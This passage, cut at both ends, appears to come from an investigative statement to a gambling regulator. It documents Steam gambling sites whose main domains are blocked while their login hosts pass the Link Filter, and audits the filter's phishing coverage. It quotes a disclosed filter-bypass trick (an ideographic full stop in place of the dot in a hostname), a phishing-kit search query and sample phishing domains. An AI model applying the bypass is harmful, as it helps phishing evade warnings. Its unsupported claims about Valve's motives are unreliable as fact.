against but an associated login host was not. A filter result alone cannot prove that Valve allowed a login or that a particular bot evaded an account ban. It does prove that a homepage warning cannot be offered as a complete answer about access.\n\nNor can the existence of useful, lawful Steam trading and OpenID functions answer whether prohibited operators were actually excluded. Valve's own rules allow express exceptions. If Valve relies on that distinction, the Commission should ask it to identify the authorisation, account controls and enforcement criteria applicable to commercial skin businesses, and the specific non-gambling uses it invoked in 2016. The mere possibility of lawful use is no answer to documented prohibited use.\n\nWe ask the Commission to revisit its 2016 file and request an operator-by-operator account: which Steam accounts and trading bots were disabled after the ten-day notices; whether related accounts or return hosts were monitored; which operators later regained access; what exemptions were granted; and what records support Valve's statement to the Commission. Publish what law allows the public to inspect. Compare those records with current routes and with Valve's later interventions, including OPSkins in 2018 archived 2026-03-07 ↗.\n\nThe notice set a ten-day deadline in July 2016; ten years is long enough to establish whether it was carried out. The Commission should test Valve's 2016 account against the infrastructure that remains observable today.\n\nThe Steam Dossier investigation · Public statement, 20 September 2026\n\n2016 Commission notice ↗ archived 2026-05-20 ↗ · Valve's 2016 reply (document copy) ↗ · Valve's 2016 OpenID statement ↗ archived 2026-09-21 ↗ · Current Steam agreement ↗ archived 2026-09-21 ↗ · Timeline of the 2016 exchange: Section 11 →\n\nPart A — Technical record · Section 3\nThe site is blocked. The login route is not.\n\n26 blocked main domains, each paired with a separate authentication host that returned no Link Filter block in the saved checks. The register records 44 separate-domain platform routes, with 27 published per-route evidence files and 17 manually collected routes. For CSGOGem, the recorded pairing is blocked csgogem.com and unblocked api.csgem.com; RDAP dates csgem.com to March 2014. Registration age and the date of the observed route are separate measurements. Valve receives the declared authentication hostname in each OpenID request. It does not have to discover that hostname elsewhere. Follow the dated checks below, then require Valve to account for the controls it applied to those hosts and operators.\n\nInspect the original route illustration\nFigure 3.1 — The two routes, drawn.\n\nTwo checks, two results. The saved Link Filter responses compare the platform’s main address with its separate authentication host. The login-page observation separately records the route reaching Steam’s form.\n\nSwipe the diagram sideways →\n\nThe player\none browser, one session\nrollbit.com\nthe platform's main domain\nrbsnin.com\nseparate authentication host\nLINK FILTER\n✕ BLOCKED\nLINK FILTER\n✓ CLEAN\nsteamcommunity.com\nOpenID endpoint · login form\nno route\nLink posted in Steam — stopped Login request — passes Saved checks of 19 and 21 September 2026\n\nThe declared host reaches Valve’s own endpoint. The saved filter checks show different treatment of the two destinations; the Steam login-page notice records the authentication hostname. These are the records against which Valve’s account of enforcement must be tested.\n\nOne platform. Two different routes.ROLLBIT / SAVED OBSERVATIONS\n01 THE LINK FILTER CHECK\nDESTINATIONrollbit.comThe platform's main domain\nSTEAM LINK FILTERChecks the linkA separate destination-warning system\nSAVED RESULTLink blocked19 & 21 September 2026\n02 THE OBSERVED SIGN-IN ROUTE\nON THE PLATFORMSign in with SteamThe platform starts an OpenID request\nSEPARATE AUTH HOSTrbsnin.comNo Link Filter block in the saved check\nSTEAMLogin form servedThe requested host appears in Steam's notice\n\nThe request reaches Steam. The observed route reached Steam's login form. The authors did not complete the login. Blocking the main-domain link did not block this observed route to the form.\n\nInspect the original capture notes, registration date and protocol details\nWhat Valve's enforcement looks like\nMain domain: blocked\nUser\n→\nrollbit.com\n(main domain)\n↓\nSTEAM LINK FILTER — BLOCKED\n\"Link Blocked!\" — flagged as potentially malicious\nrollbit.com returned a Link Filter block on 2026-09-19 and 2026-09-21 (unauthenticated check; raw HTML and SHA-256 saved). A visible, auditable record.\nWhat actually happens — authentication\nAuth host: not blocked\nUser\n→\nrollbit.com\n\"Sign in with Steam\"\n↓\nRedirect via separate auth host:\nrbsnin.comLink Filter: CLEAN\nregistered 2026-09-18T09:34:52Z (Verisign RDAP)\n↓\nSteam login page notice (2026-09-20):\n\"Note that rbsnin.com is not affiliated with Steam or Valve\"\nSteam renders this notice from the openid.realm of the request it received.\n↓\nSteam login form served for the separate host\nThe login was not completed by the authors; the flow was observed up to the Steam form.\nValve receives the return_to / realm hostname on every such request. rbsnin.com returned no Link Filter block on 2026-09-21.\nPer request\nAs the OpenID provider, Steam receives the auth hostname with every authentication request: it arrives at Valve's own servers in the openid.return_to and openid.realm parameters.\nSent by the site\nThe auth host is not discovered by scanning — the platform sends it to Steam in each request. Under OpenID 2.0 §9.1 return_to is formally optional, but without it Steam cannot deliver the login result, so for a working Steam login it is effectively required. Steam even renders the hostname to the user (\"<host> is not affiliated with Steam or Valve\").\n14 yr\nis the registration age of dota2.net, registered 29 October 2011 and listed as an authentication host in the September 2026 register. rbsnin.com was three days old at the 21 September check. These dates describe the domains’ registrations. The paired filter checks and login observations are dated separately below.\nSeparate-domain auth hosts: registration date vs. main domain (30 routes: the 25 resolved in the 2026-09-21 browser audit, plus 5 added on 2026-09-22)\nRead the counts against the same register.\n44\nSeparate-domain platform routes in the saved register.\n26\nMain-blocked / auth-unblocked pairs within those 44 routes.\n30\nRows displayed in the comparison table below.\n6\nAdditional pending routes, excluded from the 44.\n\n22 September register ↗ · Route observation records ↗\nThe 30 displayed rows are a documented subset. Their counts and coverage must be read separately from the full register.\n\nPlatform\tLink Filter: main\tAuth host\tLink Filter: auth host\tAuth host registered\tSource of observation\tEvidence file\nRollbit\nrollbit.com · reg. 2014-11-08\n\tBLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21\n\trbsnin.com\tCLEAN\n2026-09-21 · raw HTML (no Wayback snapshot)\n\t2026-09-18\n09:34:52Z, Verisign RDAP\n\tSteam login-page notice, 2026-09-20\trollbit.com.json\nSkin.Club\nskin.club · reg. 2017-09-04\n\tBLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21\n\tsc-auth.net\tCLEAN\n2026-09-21 · Wayback 2026-09-21\n\t2019-04-02\nRDAP\n\tSteam login-page notice\tskin.club.json\nHowl.GG\nhowl.gg · reg. 2017-03-16\n\tBLOCKED\n2026-09-18, 09-19, 09-21 · Wayback 2026-09-21\n\thowl.uno\tCLEAN\n2026-09-21 · Wayback 2026-09-21\n\t2026-08-11\nRDAP\n\tLive browser capture + supplied OpenID URL\thowl.gg.json\nDuelbits\nduelbits.com · reg. 2020-02-03\n\tBLOCKED\n2026-09-21 · Wayback 2026-09-21\n\tswitchflips.com\tCLEAN\n2026-09-21 · Wayback 2026-09-21\n\t2020-04-21\nRDAP\n\tSupplied OpenID URL\tduelbits.com.json\nCSGOFast\ncsgofast.com · reg. 2015-03-27\n\tBLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21\n\tsteam-login.authtofast.com\tCLEAN\nauthtofast.com, 2026-09-21 · Wayback 2026-09-21\n\t2026-06-30\nauthtofast.com, RDAP\n\tLive browser capture + supplied OpenID URL\tcsgofast.com.json\nFarmskins\nfarmskins.com · reg. 2016-03-23\n\tBLOCKED\n2026-09-19, 2026-09-21 · raw HTML\n\tsteam.kobal.cc\tCLEAN\n2026-09-19, 2026-09-21 · raw HTML\n\t2017-01-07\nkobal.cc, RDAP\n\tLive browser capture + supplied OpenID URL\tfarmskins.com.json\nCobaltLab\ncobaltlab.tech\n\tBLOCKED\n2026-09-21 · raw HTML\n\tcobaltauth.com\tCLEAN\n2026-09-21 · raw HTML\n\t2025-01-07\nRDAP\n\tSupplied OpenID URL\tcobaltlab.tech.json\nCSGO.NET\ncsgo.net · reg. 2012-07-22\n\tBLOCKED\n2026-09-21 · raw HTML\n\tcn2.easylot.net\tCLEAN\n2026-09-21 · raw HTML\n\t2016-09-03\neasylot.net, RDAP\n\tLive browser capture\tcsgo.net.json\nGGDrop\nggdrop.com\n\tBLOCKED\n2026-09-21 · raw HTML\n\tggauth.com\tCLEAN\n2026-09-21 · raw HTML\n\t2023-05-03\nRDAP\n\tSupplied OpenID URL\tggdrop.com.json\nRustChance\nrustchance.com\n\tBLOCKED\n2026-09-21 · raw HTML\n\thgfuihd.com\tCLEAN\n2026-09-21 · raw HTML\n\t2019-01-27\nRDAP\n\tSupplied OpenID URL\trustchance.com.json\nSkin.Fans\nskin.fans\n\tBLOCKED\n2026-09-21 · raw HTML\n\tauth.skinfans.com\tCLEAN\n2026-09-21 · raw HTML\n\t2018-07-16\nskinfans.com, RDAP\n\tSupplied OpenID URL\tskin.fans.json\nSkinport\nskinport.com · reg. 2018-09-05\n\tBLOCKED\n2026-09-21 · raw HTML\n\tskinport.app\tCLEAN\n2026-09-21 · raw HTML\n\t2020-06-20\nRDAP\n\tLive browser capture + supplied OpenID URL\tskinport.com.json\nSkins.Cash\nskins.cash\n\tBLOCKED\n2026-09-21 · raw HTML\n\tskinscash.live\tCLEAN\n2026-09-21 · raw HTML\n\t2019-12-05\nRDAP\n\tSupplied OpenID URL\tskins.cash.json\nTF2Hunt\ntf2hunt.com · reg. 2018-01-13\n\tBLOCKED\n2026-09-21 · raw HTML\n\trstspcl.com\tCLEAN\n2026-09-21 · raw HTML\n\t2020-08-08\nRDAP\n\tLive browser capture + supplied OpenID URL\ttf2hunt.com.json\nCSGOGem\ncsgogem.com · reg. 2016-10-16\n\tBLOCKED\n2026-09-22 · raw HTML\n\tapi.csgem.com\ncsgem.com — separate registrable domain\n\tCLEAN\n2026-09-22 · raw HTML\n\t2014-03-08\ncsgem.com, RDAP — oldest in register\n\tManual collection + Link Filter capture\tlinkfilter-2026-09-22.json\nGamdom\ngamdom.com · reg. 2016-07-29\n\tBLOCKED\n2026-09-22 · raw HTML\n\tlogin.gambldom.com\ngambldom.com — one letter off the brand\n\tCLEAN\n2026-09-22 · raw HTML\n\t2017-09-24\ngambldom.com, RDAP\n\tManual collection + Link Filter capture\tlinkfilter-2026-09-22.json\n12CS\n12cs.fail · reg. 2026-03-24\n\tBLOCKED\n2026-09-22 · raw HTML\n\tfail.games\tCLEAN\n2026-09-22 · raw HTML\n\t2021-08-24\nfail.games, RDAP\n\tManual collection + Link Filter capture\tlinkfilter-2026-09-22.json\nCSGOEmpire\ncsgoempire.com · reg. 2015-06-10\n\tCLEAN\n2026-09-19, 2026-09-21 · Wayback 2026-09-21\n\tcsgoempirelogin4.com\none of ten numbered domains login1–10\n\tCLEAN\n2026-09-21 · Wayback 2026-09-21\n\t2020-07-20\n05:49:17Z, Verisign RDAP\n\tLive browser capture\tcsgoempire.com.json\nCS.MONEY\ncs.money\n\tCLEAN\n2026-09-21 · raw HTML\n\tauth.dota.trade\tCLEAN\n2026-09-21 · raw HTML\n\t2016-07-15\ndota.trade, RDAP\n\tSteam login-page notice\tcs.money.json\nCSFloat\ncsfloat.com · reg. 2021-07-11\n\tCLEAN\n2026-09-21 · raw HTML\n\tcsgofloat.com\noperator's former brand domain; separate registrable domain, not an evasion indicator\n\tCLEAN\n2026-09-21 · raw HTML\n\t2015-09-29\nRDAP\n\tLive browser capture\tcsfloat.com.json\nG4Skins\ng4skins.com\n\tCLEAN\n2026-09-21 · raw HTML\n\tauth.g4s.to\tCLEAN\n2026-09-21 · raw HTML\n\t2021-05-30\ng4s.to, RDAP\n\tSupplied OpenID URL\tg4skins.com.json\nJuice.GG\njuice.gg\n\tCLEAN\n2026-09-21 · raw HTML\n\tletmeinjuice.com\tCLEAN\n2026-09-21 · raw HTML\n\t2024-04-15\nRDAP\n\tSupplied OpenID URL\tjuice.gg.json\nMarket.CSGO\nmarket.csgo.com\n\tCLEAN\n2026-09-21 · raw HTML\n\tdota2.net\tCLEAN\n2026-09-21 · raw HTML\n\t2011-10-29\nRDAP\n\tLive browser capture + supplied OpenID URL\tmarket.csgo.com.json\nRust.TM\nrust.tm\n\tCLEAN\n2026-09-21 · raw HTML\n\tdota2.net\tCLEAN\n2026-09-21 · raw HTML\n\t2011-10-29\nRDAP\n\tSupplied OpenID URL\trust.tm.json\nCSGOLounge\ncsgolounge.com · reg. 2013-08-14\n\tCLEAN\n2026-09-22 · raw HTML\n\tdota2.net\nthird front-end on this auth host\n\tCLEAN\n2026-09-22 · raw HTML\n\t2011-10-29\ndota2.net, RDAP\n\tManual collection + Link Filter capture\tlinkfilter-2026-09-22.json\nDota2Lounge\ndota2lounge.com · reg. 2012-08-10\n\tCLEAN\n2026-09-22 · raw HTML\n\tdota2.net\nfourth front-end on this auth host\n\tCLEAN\n2026-09-22 · raw HTML\n\t2011-10-29\ndota2.net, RDAP\n\tManual collection + Link Filter capture\tlinkfilter-2026-09-22.json\nSkinBaron\nskinbaron.de\n\tCLEAN\n2026-09-21 · raw HTML\n\tskinbaron.com\nsame brand, different TLD\n\tCLEAN\n2026-09-21 · raw HTML\n\t2015-12-22\nRDAP\n\tSupplied OpenID URL\tskinbaron.de.json\nTF2Royal\ntf2royal.com · reg. 2022-08-17\n\tCLEAN\n2026-09-21 · raw HTML\n\ttf2auth.com\tCLEAN\n2026-09-21 · raw HTML\n\t2021-07-27\nRDAP\n\tLive browser capture + supplied OpenID URL\ttf2royal.com.json\nTradeit\ntradeit.gg\n\tCLEAN\n2026-09-21 · raw HTML\n\tconnect-tradeit.com\tCLEAN\n2026-09-21 · raw HTML\n\t2022-02-23\nRDAP\n\tSupplied OpenID URL\ttradeit.gg.json\nUpgrader\nupgrader.pro\n\tCLEAN\n2026-09-21 · raw HTML\n\tupgauth.space\tCLEAN\n2026-09-21 · raw HTML\n\t2026-08-14\nRDAP\n\tSupplied OpenID URL\tupgrader.pro.json\nSource: steamcommunity.com/linkfilter, unauthenticated GET, 2026-09-21, 53 hosts, 3 s spacing; steam_tos_assets/linkfilter-recheck-2026-09-21.json; raw HTML in steam_tos_assets/linkfilter-raw/. Registration dates: RDAP, steam_tos_assets/domain-registration.json. · Earlier check of 2026-09-19 in linkfilter-all-results.json · route records in auth-route-audit.json · Wayback Machine snapshots of the Link Filter pages, 2026-09-21, listed in wayback-snapshots.json (no snapshot exists for rbsnin.com; the local raw file is the only record).\n\nRegistration dates: RDAP (steam_tos_assets/domain-registry/). \"Supplied OpenID URL\" establishes the request parameters, not a completed login. No login was completed by the authors on any platform. A separate domain is not by itself proof of evasion. Nor is \"0 auth hosts blocked\" an independent finding: blocking one would break that platform's Steam login, so a register assembled from working logins cannot contain a blocked auth host. The observation that carries weight is the dated pairing: a main domain on the Link Filter beside an authentication host that returned no block. RDAP supplies the separate registration date. This table carries 30 rows: 25 of the 27 routes with a per-route evidence file, plus five added on 2026-09-22 whose Link Filter split is captured in linkfilter-2026-09-22.json even though the realm itself was hand-collected — their rows say so in the source column. The two evidence-file routes not shown are skinsnipe.com (auth host pricing.tradeupspy.com, registered 2020-03-11) and csgobig.com (auth host letmeinbig.com, registered 2023-01-20); both returned BLOCKED main / CLEAN auth host in the check of 2026-09-22, recorded with SHA-256 in linkfilter-2026-09-22c.json, but the raw HTML for that batch is not in the published set, so they are named here rather than given a row that every other line in this table can evidence. The remaining 12 hand-collected routes in the register are identified as such in master_registry.json under realm_src: user.\n\nPart A — Technical record · Section 3.1\nInside Steam, Valve's list is the only list.\n\nA link clicked in the Steam client, the in-game overlay or Big Picture mode does not open in the user's browser. It renders inside Steam's own embedded browser — where the warning layers a browser would apply are not present. The Link Filter is not one safeguard among several. It is the whole of it.\n\nIn a normal browserThree independent layers\nGoogle Safe BrowsingA full-page interstitial for hosts on Google's phishing and malware lists, updated continuously and independent of the site being visited.\nThe antivirus browser extensionMost consumer endpoint products ship a browser add-on that checks the destination against the vendor's own reputation list.\nEndpoint HTTPS inspectionWhere the product performs TLS inspection, page content is scanned before it reaches the user.\nIn the Steam client, overlay and Big PictureOne layer\nGoogle Safe BrowsingNot present. The check requires Google API keys that are not provisioned in embedded Chromium builds; where they are absent, Chromium's own design documentation records that the Safe Browsing handler is simply never added to the request chain.\nThe antivirus browser extensionNot present. Steam's renderer is not the user's browser and loads no extension from the user's browser profile, so no add-on runs against the page.\nEndpoint HTTPS inspectionProduct-dependent. The traffic terminates inside a code-signed Valve process rather than a recognised browser, and a number of endpoint products exempt signed applications from TLS inspection.\nThe Steam Link FilterValve's own blocklist, consulted when a link leaves the Steam ecosystem. This is the sole check that runs — and the table above records what it returns for the auth hosts documented in this section.\nA test any reader can run, and the finding falls if it fails\n\nOpen one of Google's published Safe Browsing test URLs (testsafebrowsing.appspot.com) in Chrome: a full-page red interstitial appears. Open the same URL from a Steam chat message, so that it renders in the Steam client or the overlay: no interstitial appears. The only warning Steam can produce is its own Link Filter page, and only for hosts on Valve's list.\n\nValve's own bug-bounty recordThe one layer has been got around before — on Valve's own record\n\nIf the Link Filter is the only check that runs inside the client, its own failure modes are not a side issue. Two reports on Valve's HackerOne programme, both accepted, both resolved, both since disclosed in full:\n\n#291750 archived 2025-11-16 ↗Open Redirect · medium\nLink filter protection bypass\n\nReported 19 November 2017, resolved, disclosed 9 May 2018. The report's own proof of concept: substituting the ideographic full stop 。 (%E3%80%82) for the dot in a hostname — it is possible to bypass the blocking. The interstitial this section is about did not appear.\n\n#1079561 archived 2026-09-24 ↗Information Disclosure · high\nBig Picture web browser leaks login cookies and discloses sensitive information (may lead to account takeover)\n\nReported 15 January 2021, resolved, disclosed 21 September 2021. Valve's own severity rating is high, and the title states the consequence. The disclosed record carries the title, rating and dates; the technical write-up is not in the published payload, so nothing further is quoted from it here.\n\nThe authors' reading, not a finding of either report: the two sit on either side of the same gate. One is the warning failing to appear before the destination opens; the other is the session leaving the client once a page is open inside it. The sequence that follows a stolen session — key registered without a prompt, the real trade cancelled, a duplicate sent to a clone — is the pattern set out in Section 5 to Section 8. Both reports are closed; neither is offered as a live vulnerability. What they establish is narrower and enough: the single remaining layer has a documented history of being got around, on Valve's own record.\n\nSource: the HackerOne disclosure record for each report, retrieved 2026-09-22 — number, title, team, weakness, severity, report and disclosure dates and state as published by HackerOne. Retrieval record: hackerone-reports.json. No bounty figure is stated here; none appears in the disclosed record retrieved.\n\nField observation · PhishDestroyDetections that normally end a campaign did not end these\n\nWe watched phishing hosts keep pulling traffic while carrying 20 or more vendor detections. Delivered by web or email, a campaign in that state dies in days — the browser and the antivirus both act on those verdicts. Inside Steam neither does. The verdicts existed the whole time. Nothing in the client ever asked.\n\nWhat this means for a minor with an antivirus installed\n\nHe ignores no warning and disables nothing. A message arrives inside Steam — a free knife, a vote for a friend's team — and the page opens inside Steam. He never opens a browser, so the browser never protects him. His antivirus is running and may already rate that domain malicious; it is never asked. Every warning that could have stopped him already exists. None of it reaches him. He believes he never left Steam, and he did not.\n\nThe giveaway is not the phisher's invention — free Valve items are how the skin and gambling sites advertise, which is exactly why the message reads as ordinary. Complaints: the enforcement archive. Age and children's data: Section 17.\n\nSources: Steam renders web content through the Chromium Embedded Framework in the steamwebhelper process — see DARKNAVY's technical analysis of 27 June 2024 ↗ and Valve's own Steam Client Beta forum ↗ archived 2025-08-04 ↗. No CEF version is relied on: embedded Chromium is not Chrome and ships none of Chrome's Google services. Safe Browsing without API keys: Chromium design document ↗ archived 2026-08-21 ↗, Chromium API keys ↗ archived 2026-08-30 ↗ (“Many of the Google APIs used by Chrome are specific to Google and not intended for use in derived products”), and the same effect in other unkeyed builds — Homebrew cask #193814 ↗. Test URLs: testsafebrowsing.appspot.com ↗.\n\nPrimary Empirical Audit · Multi-Year Date Range\nThe Big Picture Trap: Link Filter is Compliance Theater, Not a Shield\n\nOn desktop browsers, users are shielded by external defenses: Google Safe Browsing and Microsoft SmartScreen intercept known phishing with full-screen red warnings. Inside Steam's Big Picture mode, the in-game overlay (Shift+Tab), and the Steam Deck (SteamOS), those defenses do not exist. The embedded browser supports zero extensions, disables external Safe Browsing engines, and leaves the user with exactly one defensive barrier: Valve's linkfilter interstitial.\n\nTargeted Steam sample: the 120 hosts in these three cohorts were selected for Steam phishing through favicon searches and checks for copied Steam sign-in or home-page interfaces. This deliberate selection is separate from the mixed public-list checks below.\n\nSwipe to compare all four results →\n\n92.5%\n2025–2026 modern edge phishing passed clean (37/40)\n77.5%\n2023–2024 CS2 era phishing passed clean (31/40)\n70.0%\n2021–2022 legacy phishing passed clean (28/40)\n7 / 7\ngambling mains blocked (positive control)\nMulti-Year Longitudinal Audit: 120 Pure Steam Phishing Domains Tested Live (24 Sep 2026)\n\nTo test whether Valve's filter is simply slow to ingest new threats or fundamentally blind to them, we audited 120 confirmed Steam-specific phishing domains across three historical cohorts against steamcommunity.com/linkfilter:\n\nCohort 1: 2021–2022 (Classic Trade-Offer & Item Drops) — 70.0% Clean Pass (28/40). Even 4 to 5 years after being cataloged by community watchdogs, 7 out of 10 legacy phishing hosts still open without any block.\nCohort 2: 2023–2024 (CS2 Beta Hype & Fake Support Appeals) — 77.5% Clean Pass (31/40). Campaigns impersonating Counter-Strike 2 releases and fake community appeals (e.g. cs2-steam.com, appealsteamcommunity.help) pass straight through.\nCohort 3: 2025–2026 (Serverless Edge Deploys & Favicon Clones) — 92.5% Clean Pass (37/40). Modern phishing kits deploying on EdgeOne, Vercel, and Cloudflare Pages (e.g. steamgifter.online, steam-dp4lt5b8fnez.edgeone.dev) pass virtually unobstructed.\n\nAdditional public-list checks · 6 October 2026\n\n1,088,753 distinct hosts\n\nAdditional analysis of public lists: we did not find a suitable Steam-only public list for a larger census, so we checked lists we considered relevant. None is exclusively Steam scams or phishing; their results are reported separately.\n\nSteam Link Filter responses · percentage of all hosts in each list\nList\tTested hosts\tBlocked\tBlocked %\tOrdinary notice\nSteam / Discord feeds\t36,724\t1,759\t4.79%\t34,965\nPhishDestroy · community + main list\t1,086,734\t4,010\t0.37%\t1,082,629\n\nScroll horizontally to compare the results.\n\nWhy these lists?\n\nSteam / Discord feeds. DevSpen and Discord-AntiScam cover gaming-account phishing and related scams. They are close to the Steam ecosystem, but the combined list is not exclusively Steam phishing. DevSpen · Discord-AntiScam.\nPhishDestroy · community + main list. Our PhishDestroy community and main lists test broader phishing and scam coverage, including crypto. The supplied results also contain blocked crypto-themed hosts, such as app-metamask-kyc-auth.com, app-trezor-auth.com, so this is a relevant additional check, not a Steam-only sample. PhishDestroy destroylist.\n\nThe two runs contain 1,123,458 host records, with 34,705 hosts in both lists: 1,088,753 distinct hosts after deduplication. We do not pool their block rates.\n\nMethod & verification\n\nBlocked % = BLOCKED ÷ all tested hosts in that row. The PhishDestroy run also has 78 ERROR, 15 UNKNOWN and 2 INTERNAL results; these 95 are included in the denominator, not counted as ordinary notices. The Steam / Discord run has no residual statuses.\n\nALLOWED means the ordinary “You are leaving Steam” notice was recorded, not that the destination is safe. These dated results measure the supplied lists; they do not establish that every site was still active or how Valve maintains its filter.\n\nMethodology · English · TXT\n\nRecounted results · JSONIndividual files & signatures · English\n\nTelemetry & Liability Shield, Not Protection. Why does the Link Filter exist if it passes 70% to 92.5% of pure Steam phishing? It functions as a corporate liability disclaimer and an outbound click telemetry sensor. By presenting a polite \"You are leaving Steam\" notice with a clickable green proceed button, Valve shifts legal blame onto the victim under the Steam Subscriber Agreement (*\"the user voluntarily navigated outside Steam\"*). Valve collects the telemetry of the click, but does not block the theft.\n\nThe Favicon Hash Proof: Zero Ingestion of Threat Feeds. Independent threat intelligence platforms (urlscan.io, Shodan, Censys) identify live Steam phishing kits using a simple search for Steam's official favicon hash (page.favicon.hash:9f890a9debcdfccc339149a7943be9aff9e4c9203c2fa37d5671a5b2c88503ad NOT domain:*.steampowered.com). This basic automated check surfaces active phishing clusters in seconds. Valve does not sync with external feeds, does not run hash-based threat hunting, and only manually intervenes when compelled by regulators (the 2016 WSGC gambling order) or to protect its trademarked domain strings.\n\nPrimary audit evidence artifacts: Longitudinal 120-domain multi-year audit: longitudinal-steam-phishing-audit.json · 100 dedicated Steam phishing sample: linkfilter-steam-phishing-100.json · Broad feed audit (n=250): linkfilter-coverage-2026-09-22.json.\n\nCSGOEmpire — batch registration of ten numbered auth domains\n\nOn 2020-07-20 ten numbered domains, csgoempirelogin1.com through csgoempirelogin10.com, were registered. Verisign RDAP timestamps are on file for all ten: login1 05:49:06Z, login5 05:49:08Z, login2 05:49:11Z, login3 05:49:14Z, login4 05:49:17Z, login6 05:49:20Z, login7 05:49:23Z, login8 05:49:26Z, login9 05:49:28Z — nine domains in 22 seconds — and login10 at 05:56:03Z, seven minutes later. The spacing is consistent with a single registrar bulk operation.\n\nThe pattern is consistent with pre-provisioned fallback hosts; only login4 has been observed in a live OpenID request. csgoempire.com and csgoempirelogin4.com both returned CLEAN in the Link Filter on 2026-09-21; CSGOEmpire was not among the sites named in press reports of the July 2016 notices.\n\n# DNS — all 10 active (September 2026)\nOK csgoempirelogin1.com 172.67.129.43\nOK csgoempirelogin2.com 172.67.175.168\nOK csgoempirelogin3.com 188.114.96.3\nOK csgoempirelogin4.com 188.114.96.11 ← in OpenID traffic\nOK csgoempirelogin5.com 172.67.160.194\nOK csgoempirelogin6–10.com Cloudflare IPs\nNXDOMAIN: csgoempirelogin11.com\nAll 10 registered 2020-07-20; all 10 RDAP-timestamped (steam_tos_assets/domain-registry/csgoempireloginN.com.rdap.json)\nConclusion for regulators\nA blocked main domain paired with an unblocked auth host leaves the login route open — and it stays open for years.\n\nThe Link Filter block on the main domain is a verifiable, public record. The auth host carries the \"Sign in with Steam\" traffic and appears in Valve's own OpenID request parameters. Across checks on 2026-09-21 and 2026-09-22, in 26 filter-split pairs the main domain returned a Link Filter block while the proxy carrying its login returned none. The register above measures the other half of that: these hosts are not short-lived burner domains. Several had been registered for more than a decade at the date of the check, and every one of those days is a day on which Valve received the hostname in its own request parameters. Valve has published no per-operator enforcement record, so whether any other measure was applied to these hosts cannot be established from public data.\n\n12 yr 6 mo\ncsgogem.com is blocked in the Link Filter.\nIts login host api.csgem.com has been\nregistered since 2014-03-08 and is not.\nPlain Language Summary — For Regulators & Courts (expand)\nPlain language summary — for regulators\nBackground: What Steam Is and Why It Matters Here\n\nSteam is a software platform operated by Valve Corporation (Bellevue, Washington, USA). Steam functions as a digital identity provider: gambling and gaming websites across the internet use a system called \"Sign in with Steam\" — a button that allows a website to verify that a visitor has a real Steam account. This is similar to \"Sign in with Google\" or a government-issued identity card check: the website sends the user to Steam's servers, Steam confirms who they are, and Steam sends them back to the website. Valve operates the authentication system. Every single login through \"Sign in with Steam\" passes through Valve's own servers.\n\nWhat Valve Did: The Domain Block\n\nIn July 2016, following media and legal pressure over skin gambling, Valve's counsel sent notices to approximately 23 named gambling sites (per press reports of 21 July 2016); in October 2016 Valve told the Washington State Gambling Commission it had contacted more than forty sites. Some gambling domains appear in the Steam Link Filter — a list that makes any link to them posted inside Steam (in chat, on a profile page, in the store) show a warning page: \"Link Blocked!\" The Link Filter is the only enforcement measure whose effect can be observed from outside Valve.\n\nExample: A link to rollbit.com inside Steam produces the Link Filter warning page (checked 2026-09-19 and 2026-09-21). On paper, the gambling site is blocked.\nWhat a Proxy Domain Is\n\nA separate-domain auth host is an authentication proxy: a second website address, on a different registrable domain, that the same operator puts between its users and Steam for the sole purpose of carrying the \"Sign in with Steam\" step. It proxies the login. The user believes they are signing in to the platform; the request that reaches Valve carries the proxy's hostname, not the platform's. It usually has no publicly visible connection to the gambling site, and it is the address that receives users back after Steam confirms their identity.\n\nExample: Rollbit operates under rollbit.com, which the Link Filter blocks. For Steam authentication, the flow observed on 2026-09-20 used a separate address: rbsnin.com, registered 2026-09-18. This address returned no Link Filter block on 2026-09-21. The gambling site continued to operate, and its Steam login flow ran through the unblocked host.\nThe Critical Point: The Auth Host Is Sent to Steam in Every Request\n\nValve does not need to scan or crawl to learn which auth hosts are in use. Steam is the OpenID identity provider for these sites, and every \"Sign in with Steam\" click sends a GET request to Valve's own servers containing the auth hostname in plaintext. Under OpenID 2.0 §9.1 the return_to field is formally optional, but without it Steam cannot deliver the login result, so for a working Steam login it is effectively required. Steam itself renders the hostname on the login page (\"<host> is not affiliated with Steam or Valve\").\n\n— Shape of the request Steam receives (host as observed for Rollbit on 2026-09-20): —\nGET steamcommunity.com/openid/login\n&openid.mode=checkid_setup\n&openid.return_to=https://rbsnin.com/… ← effectively required; arrives in Valve's log\n&openid.realm=https://rbsnin.com ← self-declared by the site; rendered on Steam's login page\nIf the site uses server-to-server verification (check_authentication), Valve's log also records the platform's server IP and hosting network.\n\nExtracting the hostname from this request is a standard operation. The enforcement record — which hosts were acted on, which were not, and under what criteria — exists only in Valve's infrastructure and has not been published.\n\nWhat This Proves\n\n1. The Link Filter block acts on links, not on logins. Blocking the main domain (for example rollbit.com) shows a warning to users who click links to it inside Steam. It does not stop the site from operating, or from using Valve's own OpenID service through a different address.\n\n2. The auth hosts tested were not blocked. The table above shows separate-domain auth hosts registered between 2011 and September 2026, several of them years after the July 2016 notices. In 26 pairs the main domain returned a Link Filter block and the proxy carrying its login did not (unauthenticated checks, 2026-09-21 and 2026-09-22; raw responses and SHA-256 saved). That proxy would stop working the day Valve refused it, which is why the measure here is how long it has run, not whether it is listed. Valve receives these hostnames in its own OpenID requests. Whether any measure other than the Link Filter was applied cannot be determined from public data, because Valve has published no per-operator enforcement record.\n\n3. The sites continued to authenticate through Valve's infrastructure. \"Sign in with Steam\" is Valve's service; every authentication through it is a request Valve receives and processes. Valve also earns revenue from case keys, and the Steam Community Market charges a combined fee of about 15% on transactions completed inside the Market (not on external trades). The Link Filter action created a public record; it did not interrupt the authentication relationship.\n\nWould Blocking Have Worked?\n\nBy analogy: when the free domain registrar Freenom wound down in 2023, phishing campaigns that depended on its domains were disrupted. Operational continuity depends on infrastructure stability.\n\nThe same logic applies here. If an auth host were refused in Steam's OpenID processing, the platform's \"Sign in with Steam\" function would break until a new host is registered, certificates issued and DNS propagated. During that window: downtime.\n\nRotation does not make blocking futile. It makes blocking an operational cost. Since new hosts appear in Valve's own request logs on first use, a response could run at the speed of that first use.\n\nBatch registration is itself a signal: CSGOEmpire's login1–login10 were registered on 2020-07-20, nine of them within 22 seconds (Verisign RDAP). A response does not need to be domain-by-domain; a sequential series from one registrar session can be identified as a series.\n\nThe public record does not show an attempt to block auth hosts that was defeated by rotation.\nIt shows main domains blocked while the proxy carrying each login kept running — 26 pairs as of 2026-09-22, the oldest auth 